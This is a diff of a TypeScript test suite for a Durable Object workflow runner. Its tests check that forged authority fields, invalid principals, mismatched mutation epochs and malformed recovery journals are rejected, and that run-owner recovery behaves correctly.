-      expect.objectContaining({ requestedBy, requestedByKind: 'human' }),
+  it.each(
+    [
+      'mutationEpoch',
+      'startIdentity',
+      'agentStart',
+      'execution',
+      'tablePrefix',
+      'startToken',
+      'attemptToken',
+      'runOwnerGuard',
+      'onPreparedStartIdentity',
+    ].flatMap((field) => [null, 2].map((value) => ({ field, value }))),
+  )('C workflow DO refuses internal JSON authority before effects ($field, $value)', async ({
+    field,
+    value,
+  }) => {
+    const fixture = cWorkflowFixture();
+    const build = vi.spyOn(
+      fixture.runner as unknown as { build: () => RunnerRuntime },
+      'build',
+    );
+    const response = await fixture.runner.fetch(
+      post('/runs', { ...C_WORKFLOW_BODY, [field]: value }),
     );
+    expect(response.status).toBe(400);
+    expect(await response.json()).toEqual({
+      error: 'start authority is derived from trusted provenance',
+    });
+    expect(build).not.toHaveBeenCalled();
+    expect(fixture.start).not.toHaveBeenCalled();
+    expect(fixture.reserve).not.toHaveBeenCalled();
+    expect(fixture.events).toEqual([]);
+    expect(fixture.journal.values.size).toBe(0);
+    expect(
+      (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status,
+    ).toBe(200);
+    expect(fixture.start).toHaveBeenCalledOnce();
   });
 
   it.each([
-    ['an overlong requester', 'r'.repeat(201)],
-    ['an all-whitespace requester', ' '.repeat(200)],
-    ['a control-bearing requester', 'reviewer\u000aforged'],
-  ])('rejects a resume with %s before runtime work', async (_label, requestedBy) => {
-    const resume = vi.fn();
-    const runner = new TestRunner(undefined, {
-      ...makeProductionEnv(),
-      runtime: { resume } as unknown as RunnerRuntime,
+    'normal',
+    'failure',
+    'recovery',
+  ] as const)('FS8 D3 host activation workflow preparation and ownership: %s', async (phase) => {
+    const failure = new Error('C managed provider failed');
+    const fixture = cWorkflowFixture(
+      true,
+      phase === 'failure'
+        ? () => {
+            throw failure;
+          }
+        : undefined,
+    );
+    await fixture.storage.init();
+    await cRequireEpoch2(fixture.env.fence);
+    const workflows = (await fixture.storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    const native = workflows[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing managed owned workflow capability');
+    const counts = { admission: 0, terminalization: 0 };
+    const capability: FencedWorkflowAdmissionCapability = {
+      ...native,
+      withInitialAdmission: (input, create) => {
+        counts.admission++;
+        return native.withInitialAdmission(input, create);
+      },
+      terminalizeInitialAdmission: (input) => {
+        counts.terminalization++;
+        return native.terminalizeInitialAdmission(input);
+      },
+    };
+    Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+      value: capability,
+      configurable: true,
+    });
+    const writes: Array<[string, unknown]> = [];
+    const put = fixture.journal.storage.put.bind(fixture.journal.storage);
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        writes.push([key, structuredClone(value)]);
+        await put(key, value);
+      },
+    );
+    const settle = fixture.env.owners.settleReservation.bind(
+      fixture.env.owners,
+    );
+    if (phase === 'recovery')
+      vi.spyOn(fixture.env.owners, 'settleReservation').mockImplementationOnce(
+        async (...args) => {
+          await settle(...args);
+          throw new Error('C lost settlement receipt');
+        },
+      );
+    const request = post('/runs', C_WORKFLOW_BODY);
+    request.headers.set(MUTATION_EPOCH_HEADER, '2');
+    try {
+      const response = await fixture.runner.fetch(request);
+      expect(response.status).toBe(phase === 'failure' ? 500 : 200);
+      expect(fixture.start).toHaveBeenCalledOnce();
+      const options = fixture.start.mock.calls[0]?.[1];
+      expect(options).toHaveProperty(
+        'onPreparedStartIdentity',
+        expect.any(Function),
+      );
+      expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(
+        true,
+      );
+      const journals = writes.filter(([key]) =>
+        key.startsWith('flowsafe:run-owner-recovery'),
+      );
+      expect(journals).toHaveLength(phase === 'failure' ? 1 : 2);
+      expect(journals[0]?.[1]).toMatchObject({
+        version: 2,
+        phase: 'preparing',
+        token: options?.attemptToken,
+      });
+      if (phase !== 'failure')
+        expect(journals[1]?.[1]).toMatchObject({
+          phase: 'prepared',
+          execution: { startToken: expect.any(String) },
+        });
+      const snapshot = await workflows.loadWorkflowSnapshot({
+        workflowName: 'gated',
+        runId: 'c-run',
+      });
+      if (phase === 'failure') expect(snapshot).toBeNull();
+      else {
+        expect(
+          snapshot?.requestContext?.['flowsafe.runProvenance'],
+        ).toMatchObject({
+          version: 2,
+          requestedBy: OWNER_PRINCIPAL.id,
+          requestedByKind: OWNER_PRINCIPAL.kind,
+          startToken: expect.any(String),
+          attemptToken: options?.attemptToken,
+          resumeCounts: [],
+        });
+        for (const key of [
+          'mutationEpoch',
+          'startIdentity',
+          'agentStart',
+          'execution',
+          'flowsafe.initialAdmission',
+        ])
+          expect(snapshot?.requestContext).not.toHaveProperty(key);
+      }
+      if (phase === 'recovery')
+        expect(
+          fixture.journal.values.has('flowsafe:run-owner-recovery:v1'),
+        ).toBe(false);
+      await fixture.runner.alarm();
+      expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(
+        false,
+      );
+      if (phase !== 'failure') {
+        const resumed = await fixture.runner.fetch(
+          post('/runs/gated/c-run/resume', {
+            step: 'gate',
+            resumeData: { approvedBy: 'reviewer-1' },
+          }),
+        );
+        expect(resumed.status).toBe(200);
+        expect(await resumed.json()).toMatchObject({ status: 'success' });
+        await fixture.runner.alarm();
+      }
+      expect(
+        writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery')),
+      ).toEqual(journals);
+    } finally {
+      expect(counts).toEqual({
+        admission: phase === 'failure' ? 0 : 1,
+        terminalization: 0,
+      });
+    }
+  });
+
+  it.each([
+    undefined,
+    1,
+    2,
+    3,
+  ])('FS8 D3 host activation enforces active mutation epoch at workflow start: %s', async (epoch) => {
+    const fixture = cWorkflowFixture(true);
+    await fixture.storage.init();
+    await cRequireEpoch2(fixture.env.fence);
+    const request = post('/runs', C_WORKFLOW_BODY);
+    if (epoch !== undefined)
+      request.headers.set(MUTATION_EPOCH_HEADER, String(epoch));
+    const response = await fixture.runner.fetch(request);
+    expect(response.status).toBe(epoch === 2 ? 200 : 409);
+    if (epoch !== 2) {
+      expect(await response.json()).toMatchObject({
+        reason: { code: 'MUTATION_EPOCH_MISMATCH' },
+      });
+      return;
+    }
+    expect(await response.json()).toMatchObject({
+      runId: 'c-run',
+      status: 'suspended',
+    });
+    expect(fixture.start).toHaveBeenCalledOnce();
+    const options = fixture.start.mock.calls[0]?.[1];
+    expect(options?.mutationEpoch).toBe(epoch);
+    expect(options).toHaveProperty(
+      'onPreparedStartIdentity',
+      expect.any(Function),
+    );
+    expect(options?.startIdentity).toEqual({
+      owner: { kind: OWNER_PRINCIPAL.kind, id: OWNER_PRINCIPAL.id },
+      target: { kind: 'workflow', id: 'gated' },
+    });
+    const workflows = await fixture.storage.getStore('workflows');
+    const snapshot = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+    });
+    expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toMatchObject({
+      version: 2,
+      requestedBy: OWNER_PRINCIPAL.id,
+      requestedByKind: OWNER_PRINCIPAL.kind,
+      startToken: expect.any(String),
+      attemptToken: options?.attemptToken,
+      resumeCounts: [],
+    });
+    expect(snapshot?.requestContext).not.toHaveProperty(
+      'flowsafe.initialAdmission',
+    );
+    await cWorkflowBarrier(fixture.runner);
+  });
+
+  it.each([
+    undefined,
+    0,
+    2,
+    Number.MAX_SAFE_INTEGER,
+  ])('C captures workflow headers before deployment verification: %s', async (epoch) => {
+    const fixture = cWorkflowFixture();
+    const hold = cHoldWorkflowVerification(fixture.env);
+    const request = post('/runs', C_WORKFLOW_BODY);
+    if (epoch !== undefined)
+      request.headers.set(MUTATION_EPOCH_HEADER, String(epoch));
+    const pending = fixture.runner.fetch(request);
+    try {
+      await hold.entered.promise;
+      expect(fixture.start).not.toHaveBeenCalled();
+      expect(fixture.events).toEqual([]);
+      request.headers.set(
+        EXECUTION_PRINCIPAL_HEADER,
+        encodeExecutionPrincipal(C_REPLACEMENT_PRINCIPAL),
+      );
+      request.headers.set(MUTATION_EPOCH_HEADER, '3');
+    } finally {
+      hold.release.resolve();
+      await pending;
+    }
+    expect((await pending).status).toBe(200);
+    expect(fixture.start).toHaveBeenCalledTimes(1);
+    const options = fixture.start.mock.calls[0]?.[1];
+    expect(options).toMatchObject({
+      requestedBy: OWNER_PRINCIPAL.id,
+      requestedByKind: OWNER_PRINCIPAL.kind,
+      startIdentity: {
+        owner: { kind: 'human', id: 'owner-1' },
+        target: { kind: 'workflow', id: 'gated' },
+      },
+      runOwnerGuard: {
+        owner: { kind: 'human', id: 'owner-1' },
+        reservationToken: options?.attemptToken,
+      },
+    });
+    expect(options?.mutationEpoch).toBe(epoch);
+    expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true);
+    expect(options?.onPreparedStartIdentity).toBeTypeOf('function');
+  });
+
+  it.each([
+    undefined,
+    2,
+  ])('C preserves queued workflow authority through the operation FIFO: %s', async (epoch) => {
+    const fixture = cWorkflowFixture();
+    const hold = await cHoldWorkflowFifo(fixture);
+    const request = post('/runs', C_WORKFLOW_BODY);
+    if (epoch !== undefined)
+      request.headers.set(MUTATION_EPOCH_HEADER, String(epoch));
+    const body = vi.spyOn(request, 'json');
+    const observation = cObserveFifo();
+    const pending = fixture.runner.fetch(request);
+    try {
+      expect(
+        await Promise.race([
+          observation.enqueued.then(() => 'queued'),
+          pending.then(() => 'response'),
+        ]),
+      ).toBe('queued');
+      expect(observation.count()).toBe(1);
+      expect(body).not.toHaveBeenCalled();
+      expect(fixture.start).not.toHaveBeenCalled();
+      request.headers.set(
+        EXECUTION_PRINCIPAL_HEADER,
+        encodeExecutionPrincipal(C_REPLACEMENT_PRINCIPAL),
+      );
+      request.headers.set(MUTATION_EPOCH_HEADER, '3');
+    } finally {
+      observation.restore();
+      hold.release.resolve();
+      await Promise.allSettled([hold.holder, pending]);
+    }
+    expect((await pending).status).toBe(200);
+    expect(fixture.start.mock.calls[0]?.[1]).toMatchObject({
+      requestedBy: 'owner-1',
+      requestedByKind: 'human',
+    });
+    expect(fixture.start.mock.calls[0]?.[1].mutationEpoch).toBe(epoch);
+    expect(body).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    null,
+    'invalid',
+  ])('C refuses invalid workflow principal before joining the FIFO: %s', async (principal) => {
+    const fixture = cWorkflowFixture();
+    const hold = await cHoldWorkflowFifo(fixture);
+    const request = post('/runs', C_WORKFLOW_BODY);
+    if (principal === null) request.headers.delete(EXECUTION_PRINCIPAL_HEADER);
+    else request.headers.set(EXECUTION_PRINCIPAL_HEADER, principal);
+    const body = vi.spyOn(request, 'json');
+    const observation = cObserveFifo();
+    const pending = fixture.runner.fetch(request);
+    try {
+      expect(
+        await Promise.race([
+          pending.then(() => 'response'),
+          observation.enqueued.then(() => 'queued'),
+        ]),
+        'refusal completes without joining the held FIFO',
+      ).toBe('response');
+      expect(observation.count()).toBe(0);
+      expect(body).not.toHaveBeenCalled();
+      expect(fixture.start).not.toHaveBeenCalled();
+      expect(fixture.reserve).not.toHaveBeenCalled();
+    } finally {
+      observation.restore();
+      hold.release.resolve();
+      await Promise.allSettled([hold.holder, pending]);
+    }
+    expect((await pending).status).toBe(403);
+    expect(await (await pending).json()).toEqual({
+      error: 'run request carries no valid trusted execution principal',
+    });
+  });
+
+  it.each([
+    ['credential', 'wrong-secret', 'globex', 503, 'credential'],
+    [
+      'deployment',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      'globex',
+      503,
+      "belongs to 'globex'",
+    ],
+    [
+      'epoch',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      'acme',
+      400,
+      'mutationEpoch must be a nonnegative safe integer or undefined',
+    ],
+  ] as const)('C workflow ingress refuses combined invalid authority before route: %s', async (_label, secret, tag, status, error) => {
+    const fixture = cWorkflowFixture();
+    fixture.env.DB = deploymentIdentityDatabase(tag);
+    const request = deploymentIdentityRequest(
+      'http://do/runs',
+      { method: 'POST', body: JSON.stringify(C_WORKFLOW_BODY) },
+      secret,
+    );
+    request.headers.set(MUTATION_EPOCH_HEADER, '01');
+    request.headers.set(EXECUTION_PRINCIPAL_HEADER, 'invalid');
+    const build = vi.spyOn(
+      fixture.runner as unknown as { build: () => RunnerRuntime },
+      'build',
+    );
+    const response = await fixture.runner.fetch(request);
+    expect(response.status).toBe(status);
+    const result = (await response.json()) as { error: string };
+    expect(result.error).toContain(error);
+    if (status === 400)
+      expect(result).toEqual({
+        error,
+        reason: { code: 'INVALID_MUTATION_EPOCH' },
+      });
+    expect(build).not.toHaveBeenCalled();
+    expect(fixture.events).toEqual([]);
+    expect(fixture.start).not.toHaveBeenCalled();
+    expect(fixture.reserve).not.toHaveBeenCalled();
+  });
+
+  it('C workflow status and liveness remain principal-free', async () => {
+    const fixture = cWorkflowFixture();
+    const started = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY));
+    expect(started.status).toBe(200);
+    const response = await fixture.runner.fetch(
+      deploymentIdentityRequest('http://do/runs/gated/c-run'),
+    );
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      runId: 'c-run',
+      status: 'suspended',
+    });
+    await cWorkflowBarrier(fixture.runner);
+  });
+
+  it.each([
+    'terminate',
+    'deadline',
+  ] as const)('C workflow %s uses the pre-verifier principal string', async (action) => {
+    const fixture = cWorkflowFixture();
+    const hold = cHoldWorkflowVerification(fixture.env);
+    const cancel = vi
+      .spyOn(fixture.runtime, 'cancelActiveExecution')
+      .mockResolvedValue(false);
+    const request = post(`/runs/gated/c-run/${action}`, {
+      expectedRevision: 0,
+      expectedDeadlineAt: null,
+    });
+    const pending = fixture.runner.fetch(request);
+    try {
+      await hold.entered.promise;
+      request.headers.set(
+        EXECUTION_PRINCIPAL_HEADER,
+        'invalid-after-verification',
+      );
+    } finally {
+      hold.release.resolve();
+      await pending;
+    }
+    expect((await pending).status).not.toBe(403);
+    if (action === 'terminate')
+      expect(cancel.mock.calls[0]?.[3]?.[0]).toEqual(OWNER_PRINCIPAL);
+  });
+});
+
+describe('DurableObjectRunner.fetch', () => {
+  it.each([
+    undefined,
+    {},
+    { 'app.attribution': { workspaceId: 'workspace-1', origin: 'api' } },
+  ])('forwards ordinary start context to Runtime: %j', async (requestContext) => {
+    const fixture = cWorkflowFixture();
+    const response = await fixture.runner.fetch(
+      post('/runs', { ...C_WORKFLOW_BODY, requestContext }),
+    );
+
+    expect(response.status).toBe(200);
+    expect(fixture.start).toHaveBeenCalledOnce();
+    const options = fixture.start.mock.calls[0]?.[1];
+    if (requestContext === undefined) {
+      expect(options).not.toHaveProperty('storedRequestContext');
+    } else {
+      expect(options?.storedRequestContext).toEqual(requestContext);
+    }
+    expect(options).toMatchObject({
+      requestedBy: OWNER_PRINCIPAL.id,
+      requestedByKind: OWNER_PRINCIPAL.kind,
+      startIdentity: {
+        owner: { kind: OWNER_PRINCIPAL.kind, id: OWNER_PRINCIPAL.id },
+        target: { kind: 'workflow', id: 'gated' },
+      },
+    });
+  });
+
+  it('rejects a start without a trusted execution principal before runtime or ownership work', async () => {
+    const reserve = vi.fn(async () => true);
+    const runtime = {
+      ...statusStub(async () => null),
+      start: vi.fn(),
+    } as unknown as RunnerRuntime;
+    const runner = new TestRunner(undefined, {
+      ...makeProductionEnv(testStorage(), {
+        reserve,
+        settle: vi.fn(async () => undefined),
+      }),
+      runtime,
+    });
+
+    const response = await runner.fetch(
+      deploymentIdentityRequest('http://do/runs', {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({
+          workflowId: 'gated',
+          runId: 'run-missing-principal',
+          inputData: { topic: 't' },
+        }),
+      }),
+    );
+
+    expect(response.status).toBe(403);
+    await expect(response.json()).resolves.toEqual({
+      error: 'run request carries no valid trusted execution principal',
+    });
+    expect(reserve).not.toHaveBeenCalled();
+    expect(runtime.status).not.toHaveBeenCalled();
+    expect(runtime.start).not.toHaveBeenCalled();
+  });
+
+  it('uses a lifecycle-neutral missing-principal diagnostic on terminal routes', async () => {
+    const runner = new TestRunner(undefined, makeProductionEnv());
+    for (const path of [
+      '/runs/gated/run-missing-principal/terminate',
+      '/runs/gated/run-missing-principal/deadline',
+    ]) {
+      const response = await runner.fetch(
+        deploymentIdentityRequest(`http://do${path}`, { method: 'POST' }),
+      );
+
+      expect(response.status).toBe(403);
+      await expect(response.json()).resolves.toEqual({
+        error: 'run request carries no valid trusted execution principal',
+      });
+    }
+  });
+
+  it('rejects a new resume leg without requester kind before runtime work', async () => {
+    const runtime = {
+      resume: vi.fn(),
+      ...statusStub(async () => null),
+    } as unknown as RunnerRuntime;
+    const runner = new TestRunner(undefined, {
+      ...makeProductionEnv(),
+      runtime,
+    });
+
+    const response = await runner.fetch(
+      deploymentIdentityRequest(
+        'http://do/runs/gated/run-missing-kind/resume',
+        {
+          method: 'POST',
+          headers: { 'content-type': 'application/json' },
+          body: JSON.stringify({
+            requestedBy: 'reviewer-1',
+            resumeData: { approved: true },
+          }),
+        },
+      ),
+    );
+
+    expect(response.status).toBe(400);
+    expect(runtime.resume).not.toHaveBeenCalled();
+  });
+
+  it('accepts a resume requester exactly at the principal-id bound', async () => {
+    const resume = vi.fn(
+      async (
+        _workflowId: string,
+        runId: string,
+        options: NonNullable<Parameters<RunnerRuntime['resume']>[2]>,
+      ) => ({
+        runId,
+        status: 'success' as const,
+        requestedBy: options.requestedBy,
+        requestedByKind: options.requestedByKind,
+      }),
+    );
+    const runner = new TestRunner(undefined, {
+      ...makeProductionEnv(),
+      runtime: { resume } as unknown as RunnerRuntime,
+    });
+    const requestedBy = 'r'.repeat(200);
+
+    const response = await runner.fetch(
+      post('/runs/gated/run-bounded-requester/resume', {
+        requestedBy,
+        requestedByKind: 'human',
+      }),
+    );
+
+    expect(response.status).toBe(200);
+    expect(resume).toHaveBeenCalledWith(
+      'gated',
+      'run-bounded-requester',
+      expect.objectContaining({ requestedBy, requestedByKind: 'human' }),
+    );
+  });
+
+  it.each([
+    ['an overlong requester', 'r'.repeat(201)],
+    ['an all-whitespace requester', ' '.repeat(200)],
+    ['a control-bearing requester', 'reviewer\u000aforged'],
+  ])('rejects a resume with %s before runtime work', async (_label, requestedBy) => {
+    const resume = vi.fn();
+    const runner = new TestRunner(undefined, {
+      ...makeProductionEnv(),
+      runtime: { resume } as unknown as RunnerRuntime,
     });
 
     const response = await runner.fetch(
@@ -550,10 +1545,12 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('binds a scheduled workflow run to the committed schedule owner and the header requester', async () => {
-    const owners = new InMemoryResourceOwnershipStore();
+    const env = makeProductionEnv();
+    const owners = new D1ResourceOwnershipStore(
+      testDatabase(env.storage) as ResourceOwnershipDatabase,
+    );
     const scheduleOwner = { kind: 'human' as const, id: 'schedule-owner' };
     await owners.claim('schedule', 'schedule-gated', scheduleOwner);
-    const env = makeProductionEnv();
     env.owners = owners;
     env.schedules = preparedScheduleSource({
       scheduleId: 'schedule-gated',
@@ -595,7 +1592,10 @@ describe('DurableObjectRunner.fetch', () => {
     );
   });
 
-  it('executes the prepared schedule target payload instead of forged start-body payload', async () => {
+  it.each([
+    undefined,
+    { source: 'stored-context' },
+  ])('executes the prepared schedule target payload with context %j', async (requestContext) => {
     const owners = new InMemoryResourceOwnershipStore();
     await owners.claim('schedule', 'schedule-payload', {
       kind: 'human',
@@ -628,7 +1628,7 @@ describe('DurableObjectRunner.fetch', () => {
         workflowId: 'gated',
         inputData: { topic: 'stored-input' },
         initialState: { phase: 'stored-state' },
-        requestContext: { source: 'stored-context' },
+        ...(requestContext === undefined ? {} : { requestContext }),
       },
     });
     const runner = new TestRunner(undefined, env);
@@ -660,11 +1660,16 @@ describe('DurableObjectRunner.fetch', () => {
         runId: 'run-schedule-payload',
         inputData: { topic: 'stored-input' },
         initialState: { phase: 'stored-state' },
-        storedRequestContext: { source: 'stored-context' },
         requestedBy: 'schedule-runner',
         requestedByKind: 'system',
       }),
     );
+    const options = start.mock.calls[0]?.[1];
+    if (requestContext === undefined) {
+      expect(options).not.toHaveProperty('storedRequestContext');
+    } else {
+      expect(options?.storedRequestContext).toEqual(requestContext);
+    }
   });
 
   it.each([
@@ -780,7 +1785,7 @@ describe('DurableObjectRunner.fetch', () => {
 
   it('pre-arms owner recovery before deployment identity I/O', async () => {
     const events: string[] = [];
-    const { state } = recoveryStorage(events);
+    const { state } = durableKeyValueStorageFixture(events);
     const identity = deploymentIdentityDatabase('globex');
     const env = makeProductionEnv();
     env.DB = {
@@ -804,7 +1809,7 @@ describe('DurableObjectRunner.fetch', () => {
 
   it('clears the prearmed watchdog when no recovery journal exists', async () => {
     const events: string[] = [];
-    const { state } = recoveryStorage(events);
+    const { state } = durableKeyValueStorageFixture(events);
     const runner = new TestRunner(state, makeProductionEnv());
 
     await runner.alarm();
@@ -815,7 +1820,7 @@ describe('DurableObjectRunner.fetch', () => {
 
   it('arms recovery before reserving and commits the reservation after persistence', async () => {
     const events: string[] = [];
-    const { state } = recoveryStorage(events);
+    const { state } = durableKeyValueStorageFixture(events);
     const reserve = vi.fn(async () => {
       events.push('reserve');
       return true;
@@ -825,7 +1830,7 @@ describe('DurableObjectRunner.fetch', () => {
     });
     const runner = new TestRunner(
       state,
-      makeProductionEnv(new InMemoryStore(), { reserve, settle }),
+      makeProductionEnv(testStorage(), { reserve, settle }),
     );
 
     const response = await runner.fetch(
@@ -859,24 +1864,53 @@ describe('DurableObjectRunner.fetch', () => {
     });
   });
 
-  it('returns a persisted start after a lost settlement receipt and clears recovery on retry', async () => {
-    const events: string[] = [];
-    const { state, values } = recoveryStorage(events);
-    const committed = new InMemoryResourceOwnershipStore();
-    let loseReceipt = true;
-    const owners: DurableObjectRunOwnershipStore = {
-      owner: (kind, resourceId) => committed.owner(kind, resourceId),
-      reserveAll: (claims, owner, token) =>
-        committed.reserveAll(claims, owner, token),
-      settleReservation: async (token, release) => {
-        await committed.settleReservation(token, release);
-        if (loseReceipt) {
-          loseReceipt = false;
-          throw new Error('settlement receipt lost');
+  it('journals nothing on a storage-less host and refuses to prepare the claim', async () => {
+    // #given — a run object whose state carries no storage at all
+    const runner = new TestRunner(undefined, makeProductionEnv(), false);
+
+    // #when — a start walks the whole run-owner journal protocol
+    const response = await runner.fetch(
+      post('/runs', {
+        workflowId: 'gated',
+        runId: 'run-storage-less',
+        inputData: { topic: 't' },
+      }),
+    );
+
+    // #then — both halves of the one absence policy: arming journaled nothing
+    // and said nothing, so the start reached the prepared phase, which no wake
+    // could recover from an unwritten journal and which refuses by name. The
+    // message is pinned because a bare 500 is also what a storage without
+    // alarms produces, and this case would pass while the prepared-phase guard
+    // had stopped firing.
+    expect(response.status).toBe(500);
+    expect(await response.json()).toMatchObject({
+      error: expect.stringContaining(
+        'run owner recovery requires durable storage',
+      ),
+    });
+  });
+
+  it('returns a persisted start after a lost settlement receipt and clears recovery on retry', async () => {
+    const events: string[] = [];
+    const { state, values } = durableKeyValueStorageFixture(events);
+    const env = makeProductionEnv();
+    const committed = new D1ResourceOwnershipStore(
+      testDatabase(env.storage) as ResourceOwnershipDatabase,
+    );
+    let loseReceipt = true;
+    const owners: DurableObjectRunOwnershipStore = {
+      owner: (kind, resourceId) => committed.owner(kind, resourceId),
+      reserveAll: (claims, owner, token) =>
+        committed.reserveAll(claims, owner, token),
+      settleReservation: async (token, release) => {
+        await committed.settleReservation(token, release);
+        if (loseReceipt) {
+          loseReceipt = false;
+          throw new Error('settlement receipt lost');
         }
       },
     };
-    const env = makeProductionEnv();
     env.owners = owners;
     const runner = new TestRunner(state, env);
     const log = vi.spyOn(console, 'error').mockImplementation(() => {});
@@ -891,7 +1925,7 @@ describe('DurableObjectRunner.fetch', () => {
       );
 
       expect(response.status).toBe(200);
-      expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true);
+      expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false);
       expect(
         await committed.owner('run', 'run-lost-settlement-receipt'),
       ).toEqual({ kind: 'human', id: 'owner-1' });
@@ -909,7 +1943,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('rolls back only the attempt reservation when start has no snapshot', async () => {
-    const { state } = recoveryStorage();
+    const { state } = durableKeyValueStorageFixture();
     const reserve = vi.fn(async () => true);
     const settle = vi.fn(async () => undefined);
     const runtime = {
@@ -920,7 +1954,7 @@ describe('DurableObjectRunner.fetch', () => {
       recoverStartAttempt: vi.fn(async () => null),
     } as unknown as RunnerRuntime;
     const runner = new TestRunner(state, {
-      ...makeProductionEnv(new InMemoryStore(), { reserve, settle }),
+      ...makeProductionEnv(testStorage(), { reserve, settle }),
       runtime,
     });
 
@@ -941,11 +1975,8 @@ describe('DurableObjectRunner.fetch', () => {
     );
   });
 
-  it('keeps the journal and names the failure when an interrupted start cannot read authoritative state', async () => {
-    // #given — the same failed start, with the read that would tell an
-    // interrupted start apart from a failed one refusing to answer from state
-    // it could not reach.
-    const { state, values, alarms } = recoveryStorage();
+  it('rolls back preparing bookkeeping without querying a failed Runtime reader', async () => {
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const reserve = vi.fn(async () => true);
     const settle = vi.fn(async () => undefined);
     const runtime = {
@@ -958,7 +1989,7 @@ describe('DurableObjectRunner.fetch', () => {
       }),
     } as unknown as RunnerRuntime;
     const runner = new TestRunner(state, {
-      ...makeProductionEnv(new InMemoryStore(), { reserve, settle }),
+      ...makeProductionEnv(testStorage(), { reserve, settle }),
       runtime,
     });
     const logged: string[] = [];
@@ -969,7 +2000,6 @@ describe('DurableObjectRunner.fetch', () => {
       });
     const before = Date.now();
 
-    // #when
     const response = await runner
       .fetch(
         post('/runs', {
@@ -980,28 +2010,25 @@ describe('DurableObjectRunner.fetch', () => {
       )
       .finally(() => log.mockRestore());
 
-    // #then — the caller still sees the ORIGINAL start failure, never the
-    // read's: a read that concluded nothing cannot reclassify one.
     expect(response.status).toBe(500);
     await expect(response.json()).resolves.toMatchObject({
       error: 'injected pre-snapshot failure',
     });
-    // #then — and the failure is named rather than swallowed, because it is
-    // the reason the attempt is left unsettled with its journal armed for a
-    // wake that can read.
-    expect(logged).toContain(
-      'interrupted start could not read authoritative state',
+    expect(logged).toEqual([]);
+    expect(settle).toHaveBeenCalledWith(
+      expect.any(String),
+      'run-blind-start',
+      true,
     );
-    expect(settle).not.toHaveBeenCalled();
-    expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true);
+    expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false);
     expect(alarms.at(-1)).toBeGreaterThanOrEqual(before + 60_000);
   });
 
   it('does not execute when the owner reservation conflicts', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const reserve = vi.fn(async () => false);
     const settle = vi.fn(async () => undefined);
-    const env = makeProductionEnv(new InMemoryStore(), { reserve, settle });
+    const env = makeProductionEnv(testStorage(), { reserve, settle });
     const runner = new TestRunner(state, env);
 
     const response = await runner.fetch(
@@ -1020,7 +2047,7 @@ describe('DurableObjectRunner.fetch', () => {
         )
       ).status,
     ).toBe(404);
-    expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(true);
+    expect(values.has('flowsafe:run-owner-recovery:v1')).toBe(false);
     await runner.alarm();
     expect(settle).toHaveBeenCalledWith(
       expect.any(String),
@@ -1031,17 +2058,19 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('rejects a malformed stored recovery journal before touching ownership', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const settle = vi.fn(async () => undefined);
     values.set('flowsafe:run-owner-recovery:v1', {
-      version: 1,
+      version: 2,
+      phase: 'preparing',
+      owner: { kind: 'human', id: 'owner-1' },
       workflowId: 'gated/forged',
       runId: 'run-recovery',
       token: 'attempt-token',
     });
     const runner = new TestRunner(
       state,
-      makeProductionEnv(new InMemoryStore(), {
+      makeProductionEnv(testStorage(), {
         reserve: vi.fn(async () => true),
         settle,
       }),
@@ -1112,7 +2141,7 @@ describe('DurableObjectRunner.fetch', () => {
   });
 
   it('retains requester kind through eviction and status reconciliation', async () => {
-    const { state } = recoveryStorage();
+    const { state } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const before = new TestRunner(state, env);
     const started = await before.fetch(
@@ -1325,7 +2354,7 @@ describe('DurableObjectRunner.fetch', () => {
     const settle = vi.fn(async () => undefined);
     const runner = new TestRunner(
       undefined,
-      makeProductionEnv(new InMemoryStore(), {
+      makeProductionEnv(testStorage(), {
         reserve,
         settle,
         owner: async () => undefined,
@@ -1511,8 +2540,8 @@ describe('DurableObjectRunner.fetch', () => {
         const { createWorkflow, createStep, runtime } = init(
           { storage: env.storage },
           {
-            executionFence: env.fence ?? newTestExecutionFence(),
-            startIdempotency: newTestStartIdempotency(),
+            executionFence: env.fence ?? newTestExecutionFence(env.storage),
+            startIdempotency: newTestStartIdempotency(env.storage),
           },
         );
         const gate = createStep({
@@ -1533,25 +2562,9 @@ describe('DurableObjectRunner.fetch', () => {
         return runtime;
       }
     }
-    const persisted = new Map<string, unknown>();
-    const objectStorage: DurableKeyValueStorage = {
-      async get<T>(key: string): Promise<T | undefined> {
-        return persisted.get(key) as T | undefined;
-      },
-      async put<T>(key: string, value: T): Promise<void> {
-        persisted.set(key, value);
-      },
-      async delete(key: string): Promise<boolean> {
-        return persisted.delete(key);
-      },
-      async setAlarm(): Promise<void> {},
-      async deleteAlarm(): Promise<void> {},
-    };
-    // Minimal Durable Object storage stub for run-owner recovery. Resume
-    // provenance lives in env.storage, not in this object-local storage.
-    const state = {
-      storage: objectStorage,
-    } as unknown as DurableObjectState;
+    // Object-local storage for run-owner recovery. Resume provenance lives in
